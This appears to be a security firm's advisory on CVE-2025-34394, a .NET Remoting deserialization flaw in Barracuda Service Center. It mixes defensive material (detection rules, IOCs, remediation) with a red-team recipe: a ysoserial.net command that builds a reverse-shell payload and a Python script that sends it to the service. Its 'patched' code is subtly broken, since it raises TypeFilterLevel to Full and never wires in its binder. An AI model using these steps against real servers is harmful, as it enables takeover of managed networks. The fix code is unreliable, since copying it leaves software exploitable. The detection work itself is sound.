CVE-2025-34394

Executive Summary

CVE-2025-34394 is a critical vulnerability in the Barracuda Service Center, a component of the Barracuda Remote Monitoring and Management (RMM) solution. The flaw resides in an exposed .NET Remoting service that is insufficiently protected against deserialization of arbitrary types. This allows an unauthenticated, remote attacker to achieve remote code execution (RCE) on the affected server. The vulnerability affects all versions prior to 2025.1.1. No public proof-of-concept (PoC) or exploit code has been released at this time, but the risk is high due to the nature of the attack vector and the privileged access typically granted to RMM solutions.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary .NET application component. The risk is primarily to managed service providers (MSPs) and their clients who use Barracuda RMM.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the description (unauthenticated remote code execution via deserialization), the actual CVSSv3.1 score is estimated to be Critical (9.8).

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – Full system compromise possible.
• Integrity (I): High (H) – Full system compromise possible.
• Availability (A): High (H) – Full system compromise possible.

Threat Level: Critical. The vulnerability allows a complete takeover of the RMM server, which can then be used to pivot to all managed endpoints.

Deep Dive & Mechanics

The vulnerability is a classic .NET deserialization attack. .NET Remoting is a legacy technology for inter-process communication. When a .NET Remoting endpoint accepts serialized objects from the network, it must strictly control which types can be deserialized. If the type filter is too permissive or absent, an attacker can send a specially crafted serialized object that, when deserialized, executes arbitrary code.

Attack Flow:

1. Reconnaissance: The attacker scans for exposed .NET Remoting endpoints (typically on TCP ports 1098, 1099, or custom ports). The Barracuda Service Center exposes such an endpoint.
2. Crafting Payload: The attacker uses tools like ysoserial.net to generate a serialized .NET object that, upon deserialization, executes a command (e.g., a reverse shell, download of malware).
3. Delivery: The attacker sends the malicious serialized object to the vulnerable .NET Remoting service.
4. Exploitation: The service deserializes the object, triggering the attacker's code.
5. Post-Exploitation: The attacker gains a foothold on the RMM server, potentially compromising the entire managed infrastructure.

Vulnerable vs. Patched Code

The vulnerable code likely uses a default or weak TypeFilterLevel for the .NET Remoting channel. The patched version (2025.1.1) likely implements a strict allowlist of types that can be deserialized.

Vulnerable (Conceptual):

// Vulnerable: Uses Low type filter level or no custom binder
BinaryServerFormatterSinkProvider provider = new BinaryServerFormatterSinkProvider();
provider.TypeFilterLevel = TypeFilterLevel.Low; // Allows many types
IDictionary props = new Hashtable();
props["port"] = 1099;
HttpChannel channel = new HttpChannel(props, null, provider);
ChannelServices.RegisterChannel(channel, false); // No security

Patched (Conceptual):

// Patched: Uses a custom SerializationBinder to restrict types
BinaryServerFormatterSinkProvider provider = new BinaryServerFormatterSinkProvider();
provider.TypeFilterLevel = TypeFilterLevel.Full; // Required for custom binder
IDictionary props = new Hashtable();
props["port"] = 1099;
HttpChannel channel = new HttpChannel(props, null, provider);
ChannelServices.RegisterChannel(channel, false);

// Custom binder that only allows specific types
public class SafeBinder : SerializationBinder
{
    public override Type BindToType(string assemblyName, string typeName)
    {
        // Only allow known safe types
        if (typeName.StartsWith("Barracuda.ServiceCenter."))
            return Type.GetType($"{typeName}, {assemblyName}");
        else
            throw new SerializationException("Type not allowed");
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Target: A virtual machine running a vulnerable version of Barracuda Service Center (e.g., 2025.1.0).
2. Attacker: Kali Linux or Windows VM with .NET development tools.
3. Tool: ysoserial.net (https://github.com/pwntester/ysoserial.net).

Exploitation Steps:

1. Identify the endpoint: Use Nmap to scan for the .NET Remoting port.

   nmap -p 1099 <target_ip>
   

2. Generate payload: Use ysoserial.net to create a payload that executes a reverse shell.

   # On attacker machine (Windows)
   ysoserial.exe -o raw -g TextFormattingRunProperties -f BinaryFormatter -c "powershell -e <base64_encoded_rev_shell>" > payload.bin
   

3. Send payload: Use a custom script or tool to send the binary payload to the .NET Remoting endpoint.

   import socket
   
   def send_payload(host, port, payload_file):
       with open(payload_file, 'rb') as f:
           payload = f.read()
       sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       sock.connect((host, port))
       sock.send(payload)
       sock.close()
   
   send_payload('192.168.1.100', 1099, 'payload.bin')
   

4. Receive shell: Listen on your attacker machine for the reverse shell.

Blue Team (Defensive)

Detection & Response:

1. Network Monitoring: Look for anomalous traffic to TCP port 1099 (or other .NET Remoting ports). The payload will be a binary blob with specific .NET serialization headers (e.g., \x00\x01\x00\x00\x00\xff\xff\xff\xff).
2. Process Monitoring: Monitor for powershell.exe, cmd.exe, or wscript.exe being spawned by the BarracudaServiceCenter.exe process.
3. Log Analysis: Check Windows Event Logs for Event ID 7030 (Service start failure) or suspicious .NET runtime events.
4. Honeypot: Deploy a decoy .NET Remoting endpoint to detect scanning activity.

Indicators of Compromise (IOCs)

• Network:
  • Inbound connections to TCP port 1099 (or custom port) from external IPs.
  • Network traffic containing the .NET serialization header bytes: \x00\x01\x00\x00\x00\xff\xff\xff\xff.
  • Outbound connections from the RMM server to unknown IPs on common ports (4444, 443, 80).
• Host:
  • Unusual child processes of BarracudaServiceCenter.exe (e.g., cmd.exe, powershell.exe).
  • New files created in C:\Windows\Temp\ or C:\Users\Public\ with random names.
  • Scheduled tasks or services created by the RMM service account.
  • Registry modifications under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.
• File:
  • Presence of ysoserial.net or similar tools on the system.
  • Binary files with .NET serialization headers in network captures.

Detection Engineering

YARA Rule

rule CVE_2025_34394_Barracuda_Deserialization {
    meta:
        description = "Detects .NET deserialization payloads targeting CVE-2025-34394"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-34394"
    strings:
        $net_header = { 00 01 00 00 00 ff ff ff ff }
        $text_formatting = "TextFormattingRunProperties" nocase
        $psi_object = "System.Diagnostics.Process" nocase
    condition:
        $net_header at 0 and ($text_formatting or $psi_object)
}

Sigma Rule

title: CVE-2025-34394 - Barracuda RMM .NET Remoting Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects suspicious child processes spawned by Barracuda Service Center
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\BarracudaServiceCenter.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\wscript.exe'
            - '\cscript.exe'
            - '\mshta.exe'
    condition: selection
falsepositives:
    - Legitimate administrative scripts run by the service
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 1099 (msg:"CVE-2025-34394 - Barracuda RMM .NET Remoting Exploitation Attempt"; flow:to_server,established; content:"|00 01 00 00 00 ff ff ff ff|"; depth:8; content:"TextFormattingRunProperties"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Barracuda Service Center version 2025.1.1 or later immediately.
2. Network Segmentation: Isolate the RMM server in a separate VLAN with strict firewall rules. Do not expose the .NET Remoting port (1099) to the internet.
3. Access Control: Restrict access to the RMM server to only authorized management workstations via VPN or jump box.

Long-Term Mitigations:

1. Disable .NET Remoting: If possible, migrate to a more secure communication protocol (e.g., WCF with HTTPS and message security).
2. Application Control: Use AppLocker or Windows Defender Application Control to block unauthorized executables from running.
3. Monitoring: Implement continuous monitoring for the IOCs listed above.
4. Vendor Communication: Contact Barracuda support to confirm the patch and inquire about any additional hardening steps.

Valters IT
Securing Digital Frontiers